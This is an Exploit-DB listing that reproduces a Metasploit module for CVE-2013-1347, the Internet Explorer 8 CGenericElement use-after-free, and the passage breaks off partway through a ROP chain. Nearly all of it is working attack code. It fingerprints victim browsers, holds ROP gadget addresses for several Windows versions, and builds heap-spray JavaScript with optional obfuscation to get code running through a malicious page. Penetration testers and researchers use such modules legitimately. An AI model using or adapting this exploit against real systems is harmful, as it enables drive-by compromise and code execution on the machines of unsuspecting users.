Exploit-DB #25294
Description: Microsoft Internet Explorer - CGenericElement Object Use-After-Free (Metasploit)
Type: remote
Platform: windows
Date: 2013-05-07
Author: Metasploit

Exploit:
##
#
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "8.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => GoodRanking
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in Microsoft Internet Explorer. A
        use-after-free condition occurs when a CGenericElement object is freed, but a
        reference is kept on the Document and used again during rendering, an invalid
        memory that's controllable is used, and allows arbitrary code execution under the
        context of the user.

          Please note: This vulnerability has been exploited in the wild on 2013 May, in
        the compromise of the Department of Labor (DoL) Website.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',
          'EMH',
          'juan vazquez',  #RCA
          'sinn3r'         #RCA
        ],
      'References'     =>
        [
          [ 'CVE', '2013-1347' ],
          [ 'OSVDB', '92993' ],
          [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'],
          [ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
        ],
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'Space'          => 1024,
          'DisableNops'    => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt } ],
          [ 'IE 8 on Windows Vista',        { 'Rop' => :jre    } ],
          [ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt } ],
          [ 'IE 8 on Windows 7',            { 'Rop' => :jre    } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "May 3 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '5.2'
      os_name = 'Windows Server 2003'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    else
      # OS not supported
      return nil
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie8_smil(my_target, p)

    case my_target['Rop']
    when :msvcrt
      case my_target.name
      when 'IE 8 on Windows XP SP3'
        align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
        xchg_esp  = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
      when 'IE 8 on Windows Server 2003'
        align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
        xchg_esp  = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
      end
    else
      align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
      xchg_esp  = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
    end

    padding    = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
    js_payload = Rex::Text.to_unescape(p)

    js = %Q|
    unicorn = unescape("ABCD");
    unicorn2 = unescape("EEEE");
    for (i=0; i < 2; i++) {
      unicorn += unescape("ABCD");
    }unicorn += unescape("AB");

    unicorn += unescape("#{js_payload}");

    animvalues = unescape("#{align_esp}");

    for (i=0; i < 0x70/4; i++) {
      if (i == 0x70/4-1) {
        animvalues += unescape("#{xchg_esp}");
      }
      else {
        animvalues += unescape("#{align_esp}");
      }
    }

    animvalues += unicorn;

    for(i = 0; i < 13; i++) {
      animvalues += ";red";
    }
    |

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V")[0].to_i
  end

  def nop
    return make_nops(4).unpack("V")[0].to_i
  end

  def get_payload(t, cli)
    code = payload.encoded

    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    case t['Rop']
    when :msvcrt
      case t.name
      when 'IE 8 on Windows XP SP3'
        rop_gadgets =
        [
          0x77c1e844, # POP EBP # RETN [msvcrt.dll]
          0x77c1e844, # skip 4 bytes [msvcrt.dll]
          0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
          0xffffffff,
          0x77c127e5, # INC EBX # RETN [msvcrt.dll]
          0x77c127e5, # INC EBX # RETN [msvcrt.dll]
          0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
          0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
          0x77c4eb